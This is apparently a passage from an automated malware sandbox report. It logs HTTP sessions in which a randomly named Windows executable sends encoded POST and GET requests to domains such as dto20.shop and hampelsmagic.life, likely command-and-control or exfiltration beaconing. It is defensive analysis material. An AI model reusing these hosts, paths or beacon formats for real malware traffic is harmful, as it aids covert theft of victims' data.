20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49988	162.0.238.238	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:01.898432016 CEST	414	OUT	GET /sq12/?ZZY=z6EWwjUgJz2bJPVNnwixtdiBclz6U+1c8CkWN3ljQgjJGrzDNHqxSoLtP95ZDgz7MgUxfMzo2dU5U8jEaokJ+YFKTiu0SNRlbEWC0HQQ7kWDv/RczpK4Ywebc8IjilGLuKMcxKVh8K9W&mHm0o=rrqhoH HTTP/1.1 Host: www.mecateg.xyz Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:07:02.483592987 CEST	610	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:07:02 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49989	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:16.135421038 CEST	668	OUT	POST /qt7h/ HTTP/1.1 Host: www.dto20.shop Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.dto20.shop Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.dto20.shop/qt7h/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6f 58 35 31 57 38 56 35 46 68 62 72 2f 76 39 65 45 46 54 39 4b 55 71 58 38 51 48 7a 64 43 4a 51 53 79 45 74 71 38 35 45 51 46 53 53 65 71 49 75 4c 70 59 74 71 39 43 67 6e 71 55 65 4d 50 57 6a 69 6e 69 78 71 69 79 4b 72 66 68 57 39 4c 67 39 51 7a 70 76 30 31 66 5a 57 4b 59 32 57 47 54 68 4b 4c 69 51 71 4d 79 63 55 61 34 30 38 79 71 4a 48 43 6a 6c 31 75 31 50 6f 48 57 48 57 52 72 36 36 72 44 49 68 31 43 68 50 39 57 50 35 35 55 49 31 36 39 62 70 79 77 57 2f 57 59 72 71 57 78 6f 38 75 46 59 47 53 71 57 6c 56 37 6e 4f 76 71 4c 6a 36 4d 39 36 31 45 4b 42 73 6c 2f 6a 6c 79 6f 4a 5a 5a 6f 77 57 59 6f 48 74 47 6d 76 43 56 39 67 67 3d 3d Data Ascii: ZZY=oX51W8V5Fhbr/v9eEFT9KUqX8QHzdCJQSyEtq85EQFSSeqIuLpYtq9CgnqUeMPWjinixqiyKrfhW9Lg9Qzpv01fZWKY2WGThKLiQqMycUa408yqJHCjl1u1PoHWHWRr66rDIh1ChP9WP55UI169bpywW/WYrqWxo8uFYGSqWlV7nOvqLj6M961EKBsl/jlyoJZZowWYoHtGmvCV9gg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49990	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:18.697254896 CEST	688	OUT	POST /qt7h/ HTTP/1.1 Host: www.dto20.shop Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.dto20.shop Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.dto20.shop/qt7h/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6f 58 35 31 57 38 56 35 46 68 62 72 2b 4c 42 65 49 47 37 39 4e 30 71 51 7a 77 48 7a 57 69 4a 55 53 79 49 74 71 34 4a 55 54 78 2b 53 65 50 30 75 49 6f 59 74 76 39 43 67 76 4b 55 66 44 76 58 76 69 6e 76 4d 71 67 6d 4b 72 66 6c 57 39 4c 77 39 51 6c 68 67 6c 31 66 48 44 61 59 30 62 6d 54 68 4b 4c 69 51 71 4d 50 4a 55 61 77 30 38 69 36 4a 48 6e 58 6d 32 75 31 4d 74 33 57 48 63 42 72 2b 36 72 44 32 68 30 65 62 50 35 6d 50 35 37 63 49 32 76 64 59 67 79 77 51 68 6d 5a 41 70 48 51 32 31 63 46 48 41 30 36 41 37 31 48 35 47 35 33 70 35 59 41 52 6b 6b 38 78 46 75 42 4a 30 44 76 64 4c 59 64 77 39 30 73 4a 59 61 6a 4d 69 51 30 35 32 51 74 52 58 67 59 6f 75 46 77 31 51 30 55 32 56 74 41 6d 77 73 45 3d Data Ascii: ZZY=oX51W8V5Fhbr+LBeIG79N0qQzwHzWiJUSyItq4JUTx+SeP0uIoYtv9CgvKUfDvXvinvMqgmKrflW9Lw9Qlhgl1fHDaY0bmThKLiQqMPJUaw08i6JHnXm2u1Mt3WHcBr+6rD2h0ebP5mP57cI2vdYgywQhmZApHQ21cFHA06A71H5G53p5YARkk8xFuBJ0DvdLYdw90sJYajMiQ052QtRXgYouFw1Q0U2VtAmwsE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49991	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:21.247864008 CEST	1701	OUT	POST /qt7h/ HTTP/1.1 Host: www.dto20.shop Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.dto20.shop Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.dto20.shop/qt7h/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6f 58 35 31 57 38 56 35 46 68 62 72 2b 4c 42 65 49 47 37 39 4e 30 71 51 7a 77 48 7a 57 69 4a 55 53 79 49 74 71 34 4a 55 54 77 71 53 65 36 34 75 4b 4c 41 74 73 39 43 67 7a 61 55 6b 44 76 57 31 69 6e 6e 49 71 67 37 39 72 64 74 57 38 74 38 39 46 67 42 67 73 31 66 48 42 61 59 70 57 47 53 6c 4b 4c 53 55 71 49 76 4a 55 61 77 30 38 6b 32 4a 4f 53 6a 6d 37 4f 31 50 6f 48 57 54 57 52 72 53 36 76 75 4f 68 31 72 73 61 61 75 50 2b 62 73 49 36 38 31 59 72 79 77 53 67 6d 5a 59 70 48 63 58 31 63 4a 39 41 30 6d 75 37 79 6a 35 58 59 4b 51 71 4d 45 77 2b 79 30 5a 62 2b 5a 2b 79 67 44 55 46 70 78 33 31 33 4d 77 61 70 6d 35 37 42 31 74 33 47 6f 70 58 32 38 72 6d 6e 41 6c 62 55 68 68 49 2b 46 6a 79 5a 58 79 71 32 4a 35 7a 34 71 63 63 66 49 6c 46 2f 70 51 64 32 42 4b 52 67 72 41 52 6c 45 36 38 77 68 61 42 2b 34 66 58 39 65 53 79 35 4f 4c 75 31 42 4b 44 73 2f 6f 4f 32 5a 31 34 75 67 6d 2f 66 37 37 70 66 64 2f 55 6b 34 66 2b 6c 42 6f 57 4e 62 73 2b 44 59 35 31 4e 78 6e 77 4b 63 5a 34 2b 6d 46 67 48 4d 4e 71 4d [TRUNCATED] Data Ascii: ZZY=oX51W8V5Fhbr+LBeIG79N0qQzwHzWiJUSyItq4JUTwqSe64uKLAts9CgzaUkDvW1innIqg79rdtW8t89FgBgs1fHBaYpWGSlKLSUqIvJUaw08k2JOSjm7O1PoHWTWRrS6vuOh1rsaauP+bsI681YrywSgmZYpHcX1cJ9A0mu7yj5XYKQqMEw+y0Zb+Z+ygDUFpx313Mwapm57B1t3GopX28rmnAlbUhhI+FjyZXyq2J5z4qccfIlF/pQd2BKRgrARlE68whaB+4fX9eSy5OLu1BKDs/oO2Z14ugm/f77pfd/Uk4f+lBoWNbs+DY51NxnwKcZ4+mFgHMNqMcu5Unv+LcE3FOcXNloXhimq5dNv2ghQlbRHOSddz0p3rFRZAhywdXmBXCMoU3o/bMwMTyl6d9nZc9j3nnpTGcsAaEvrtMw2ptLBPTDvAQ3FU7lovBaS4FZIPJErteAc2yKVgR5c2/WXS58y+KqWgigpoEf5fBl1V72ha7Cc1SdMaXEPocoxfVOqNVibEsWKtZI6+YMUhzmdWQk/hYVI0QFOrqiW5WKccVpCOexAsLDYkG9hNsLpXIMF5YhIsB932JO44vE2R9KEJPNJfAciqbfgwWwItJdwjbcKunt8TPeUfYdPInjS4v3Kggi3Z/i6qtforvNdRXa6uDlj07Y42315LURR87fFfhqrYMO6ywaMQM72JPP8alpFWC7DtJPC7TpbRRb0AgsP3gv6sc6no+yk1bMfZtoOIUb5YxNniYhkdEA9qF+I1YadM7F6iR/Ee1w7R6PAo6pSu30M/SCdrnhNTYujhUWhlF4Uys3b/27xyneuF4dx3FaottE544V+KitOJogrZl8zLuYxwEgfAwu3sVGPiTdmPjBm4jxmMiGrUkLsRZPpEzyqVjiIbzZ8ioFTwZ6VXTp6Jz966yXIW/n2TYEcSZFmlIQd3Mf7WPRhgpkiEjnfbz0BO23a1+6mvratfJXagMeLOenPfCmhAAtUpGw4XFhzF90 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49992	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:23.793776035 CEST	413	OUT	GET /qt7h/?mHm0o=rrqhoH&ZZY=lVRVVIZsXSPU4aIYLW3uXU2G9jyJVB0KcS4/r4NcfnqYIb12Sac4jtyjmKkxLIaqvFDuni/4q4Q88o0YH0xwolv7HpcPHG6ier6546/NEIR09zDvHF3f9eFxq1b7awb/89CQg1iAKK+O HTTP/1.1 Host: www.dto20.shop Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:07:24.238322973 CEST	412	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:07:24 GMT Content-Type: text/html Content-Length: 272 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6d 48 6d 30 6f 3d 72 72 71 68 6f 48 26 5a 5a 59 3d 6c 56 52 56 56 49 5a 73 58 53 50 55 34 61 49 59 4c 57 33 75 58 55 32 47 39 6a 79 4a 56 42 30 4b 63 53 34 2f 72 34 4e 63 66 6e 71 59 49 62 31 32 53 61 63 34 6a 74 79 6a 6d 4b 6b 78 4c 49 61 71 76 46 44 75 6e 69 2f 34 71 34 51 38 38 6f 30 59 48 30 78 77 6f 6c 76 37 48 70 63 50 48 47 36 69 65 72 36 35 34 36 2f 4e 45 49 52 30 39 7a 44 76 48 46 33 66 39 65 46 78 71 31 62 37 61 77 62 2f 38 39 43 51 67 31 69 41 4b 4b 2b 4f 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?mHm0o=rrqhoH&ZZY=lVRVVIZsXSPU4aIYLW3uXU2G9jyJVB0KcS4/r4NcfnqYIb12Sac4jtyjmKkxLIaqvFDuni/4q4Q88o0YH0xwolv7HpcPHG6ier6546/NEIR09zDvHF3f9eFxq1b7awb/89CQg1iAKK+O"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49993	76.223.67.189	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:37.486776114 CEST	689	OUT	POST /jso9/ HTTP/1.1 Host: www.hampelsmagic.life Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.hampelsmagic.life Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.hampelsmagic.life/jso9/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6a 55 46 6a 34 58 2f 64 2f 6a 4d 63 52 61 2b 4d 36 65 67 32 32 79 6a 71 4b 63 34 74 70 43 6b 42 63 68 6e 4d 56 79 73 6b 49 35 57 4a 6b 68 50 57 30 72 57 68 45 46 66 35 49 63 32 69 70 38 46 4d 71 6f 32 53 4d 55 6b 6d 55 72 42 43 41 42 52 61 39 35 4f 54 58 6f 44 76 63 4e 62 66 50 63 73 6d 56 32 4e 4b 42 47 31 34 78 78 2f 38 37 66 54 2f 54 79 56 62 65 31 59 51 31 32 4a 48 46 32 2b 63 47 53 79 38 68 61 6f 70 43 6f 49 41 59 59 2f 4a 34 34 46 57 45 49 37 64 55 72 4b 48 6c 47 6d 49 75 61 63 6f 32 66 4f 46 44 43 67 4a 4b 33 43 73 6d 62 54 4e 4c 56 7a 2f 57 64 38 78 70 61 79 58 2b 51 69 54 78 44 44 33 4a 78 52 42 54 30 41 48 33 51 3d 3d Data Ascii: ZZY=jUFj4X/d/jMcRa+M6eg22yjqKc4tpCkBchnMVyskI5WJkhPW0rWhEFf5Ic2ip8FMqo2SMUkmUrBCABRa95OTXoDvcNbfPcsmV2NKBG14xx/87fT/TyVbe1YQ12JHF2+cGSy8haopCoIAYY/J44FWEI7dUrKHlGmIuaco2fOFDCgJK3CsmbTNLVz/Wd8xpayX+QiTxDD3JxRBT0AH3Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49994	76.223.67.189	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:40.030057907 CEST	709	OUT	POST /jso9/ HTTP/1.1 Host: www.hampelsmagic.life Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.hampelsmagic.life Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.hampelsmagic.life/jso9/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6a 55 46 6a 34 58 2f 64 2f 6a 4d 63 51 37 4f 4d 38 4a 38 32 39 79 6a 74 58 73 34 74 2b 53 6c 70 63 68 62 4d 56 77 42 68 49 76 6d 4a 6c 44 48 57 36 4b 57 68 4a 6c 66 35 43 38 32 64 32 73 46 39 71 6f 72 68 4d 52 6b 6d 55 72 46 43 41 46 64 61 39 4c 6d 51 46 49 44 74 52 74 61 5a 4c 63 73 6d 56 32 4e 4b 42 47 77 6c 78 78 48 38 37 50 6a 2f 42 51 74 59 64 31 59 54 79 32 4a 48 50 57 2b 59 47 53 79 65 68 59 63 50 43 73 34 41 59 59 50 4a 34 70 46 56 4b 49 37 66 59 37 4c 32 70 6d 2f 76 6f 2f 67 67 35 63 32 34 4c 54 51 44 50 42 66 4f 38 35 66 68 56 45 4c 45 53 66 59 48 2b 38 76 69 38 52 6d 4c 38 68 33 57 57 47 30 72 65 6d 68 44 68 67 43 47 54 47 70 55 39 76 4c 35 30 79 70 4d 4d 2b 38 44 49 77 45 3d Data Ascii: ZZY=jUFj4X/d/jMcQ7OM8J829yjtXs4t+SlpchbMVwBhIvmJlDHW6KWhJlf5C82d2sF9qorhMRkmUrFCAFda9LmQFIDtRtaZLcsmV2NKBGwlxxH87Pj/BQtYd1YTy2JHPW+YGSyehYcPCs4AYYPJ4pFVKI7fY7L2pm/vo/gg5c24LTQDPBfO85fhVELESfYH+8vi8RmL8h3WWG0remhDhgCGTGpU9vL50ypMM+8DIwE=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49995	76.223.67.189	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:42.577312946 CEST	1722	OUT	POST /jso9/ HTTP/1.1 Host: www.hampelsmagic.life Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.hampelsmagic.life Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.hampelsmagic.life/jso9/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6a 55 46 6a 34 58 2f 64 2f 6a 4d 63 51 37 4f 4d 38 4a 38 32 39 79 6a 74 58 73 34 74 2b 53 6c 70 63 68 62 4d 56 77 42 68 49 73 47 4a 6b 32 4c 57 36 74 43 68 47 46 66 35 4f 63 32 59 32 73 46 67 71 6f 6a 2b 4d 52 59 32 55 70 4e 43 43 6d 56 61 30 66 79 51 63 34 44 74 59 4e 62 65 50 63 73 33 56 32 64 47 42 47 67 6c 78 78 48 38 37 4d 72 2f 58 79 56 59 62 31 59 51 31 32 4a 4c 46 32 2b 77 47 53 71 6b 68 59 49 35 44 64 45 41 62 34 66 4a 72 72 74 56 47 49 37 42 5a 4c 4c 75 70 6d 44 77 6f 37 4a 62 35 64 53 65 4c 51 41 44 50 32 36 36 73 4b 54 31 4c 57 6e 33 62 2b 6b 41 34 74 66 50 36 43 79 6b 38 6a 36 74 66 57 51 2b 51 6b 64 6f 72 31 62 53 4a 67 52 48 6c 72 6d 73 31 32 4d 6c 66 4f 73 58 62 6e 6c 4a 33 68 64 66 31 31 41 57 73 68 34 52 68 70 79 45 43 6e 68 76 4b 47 42 43 34 43 65 53 77 4a 37 63 4f 75 53 59 63 76 4b 62 74 50 6e 44 73 78 58 53 48 65 78 38 69 53 61 50 69 50 7a 71 52 44 6e 5a 36 6c 6c 76 68 33 75 45 43 65 71 73 76 58 51 48 6c 6c 4e 51 5a 6a 67 30 59 5a 71 64 33 78 51 49 30 46 74 53 2b 50 [TRUNCATED] Data Ascii: ZZY=jUFj4X/d/jMcQ7OM8J829yjtXs4t+SlpchbMVwBhIsGJk2LW6tChGFf5Oc2Y2sFgqoj+MRY2UpNCCmVa0fyQc4DtYNbePcs3V2dGBGglxxH87Mr/XyVYb1YQ12JLF2+wGSqkhYI5DdEAb4fJrrtVGI7BZLLupmDwo7Jb5dSeLQADP266sKT1LWn3b+kA4tfP6Cyk8j6tfWQ+Qkdor1bSJgRHlrms12MlfOsXbnlJ3hdf11AWsh4RhpyECnhvKGBC4CeSwJ7cOuSYcvKbtPnDsxXSHex8iSaPiPzqRDnZ6llvh3uECeqsvXQHllNQZjg0YZqd3xQI0FtS+PQsxgFvfUCZvm48+fHhnydDp77UIfKpe7Gndk6nwgBQcFHANwmHitnv+ZlYwiQnfvynufckPBF8tkCTSicQGnBbAo0dQs6OJ5AfN2trmBrePyRiHZRSK1POSymeWCRBQHbYYdtFT2S61doa+EKoka9NO1SyDHlWtomPrm8PjJywy6CYuimZ0Hwg6rYTz7kArndHNjoDiOsR+OxL4Z7gPchLd2iOofRZcBAAN7P1CL6Ct+SfZfAxl6mufMxgtRcCgGMuoG0M2mRd+GEb+1B4rHccTdjl/S0/577KPOFWd1a5B3/UrrO/uaiNQFVE98T16t9lBkOVPvsvEunqlcqx9ZaVMcpfgomrg1kVHZOb8QD8BrGH+49F6hxK4B6NVsKk/QUD78BqOPS5YUnriTziQGs+EX3w1l57Tpn4B6WYevqUw+U9y8KNfZ9vUnGkQODRoUJM/PmfXQ2G0y7EdqKElF0NFxyD4z/eySnZWxa2QjeDe2aM8lPRXF2spOINhfhSYqwYWxnLurkU85t8yRUnIC+TVBoyv3qrzlAgqeYbpRr/n3jxesiXK4KMlyMLpvCczFJ/9fBa5gDt6KqgEoM6OhQee1ZxJydBIryqgBU0NbLaj7hIrWUYMVtD/pnbWeUr5YNzODaJi9/YpSljL1zpIFdJxycFMR5JUGf8 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49996	76.223.67.189	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:45.118097067 CEST	420	OUT	GET /jso9/?mHm0o=rrqhoH&ZZY=uWtD7nDJzC5KbaeYt4wzjwT7dfNvmhcBXDjCWDtDb+iw4yKFuJufFHLJAdi3pLpd6ZSxNjMYLeNLKkNP8PCKZOHQQMiufYU5amodYVRyhU2Q7ZK2dy5aUiQd9WIqGEuwGA/AmJwbELRk HTTP/1.1 Host: www.hampelsmagic.life Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:07:45.587131023 CEST	412	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:07:45 GMT Content-Type: text/html Content-Length: 272 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6d 48 6d 30 6f 3d 72 72 71 68 6f 48 26 5a 5a 59 3d 75 57 74 44 37 6e 44 4a 7a 43 35 4b 62 61 65 59 74 34 77 7a 6a 77 54 37 64 66 4e 76 6d 68 63 42 58 44 6a 43 57 44 74 44 62 2b 69 77 34 79 4b 46 75 4a 75 66 46 48 4c 4a 41 64 69 33 70 4c 70 64 36 5a 53 78 4e 6a 4d 59 4c 65 4e 4c 4b 6b 4e 50 38 50 43 4b 5a 4f 48 51 51 4d 69 75 66 59 55 35 61 6d 6f 64 59 56 52 79 68 55 32 51 37 5a 4b 32 64 79 35 61 55 69 51 64 39 57 49 71 47 45 75 77 47 41 2f 41 6d 4a 77 62 45 4c 52 6b 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?mHm0o=rrqhoH&ZZY=uWtD7nDJzC5KbaeYt4wzjwT7dfNvmhcBXDjCWDtDb+iw4yKFuJufFHLJAdi3pLpd6ZSxNjMYLeNLKkNP8PCKZOHQQMiufYU5amodYVRyhU2Q7ZK2dy5aUiQd9WIqGEuwGA/AmJwbELRk"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49997	23.227.38.74	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:07:50.720276117 CEST	674	OUT	POST /s7qk/ HTTP/1.1 Host: www.zingara.life Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.zingara.life Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.zingara.life/s7qk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 76 59 77 65 7a 49 6b 78 59 4b 68 50 68 73 33 30 71 6f 65 68 61 73 36 77 59 2f 78 50 53 6f 49 49 38 68 4d 52 62 5a 39 48 79 78 73 6f 45 41 58 4b 70 59 4f 31 2b 77 66 67 57 63 43 2f 56 62 38 50 47 4e 2b 42 4b 74 52 41 76 44 44 31 49 54 63 66 58 72 35 37 4d 43 38 73 77 62 30 77 66 4c 77 4a 42 6c 70 72 43 6e 4b 36 7a 58 76 51 4e 46 43 61 30 75 63 69 68 39 68 42 54 4e 6b 79 63 49 58 53 77 6e 63 67 67 51 2f 31 6d 30 61 50 55 45 55 2f 6a 54 73 31 66 43 66 59 37 45 4a 2b 51 52 69 46 32 50 69 68 64 45 75 67 78 69 6d 4c 33 4d 47 57 7a 30 64 30 68 6d 6f 61 44 6a 72 49 31 77 6f 66 42 51 56 6c 70 71 59 72 68 6f 57 70 62 64 2f 65 58 67 3d 3d Data Ascii: 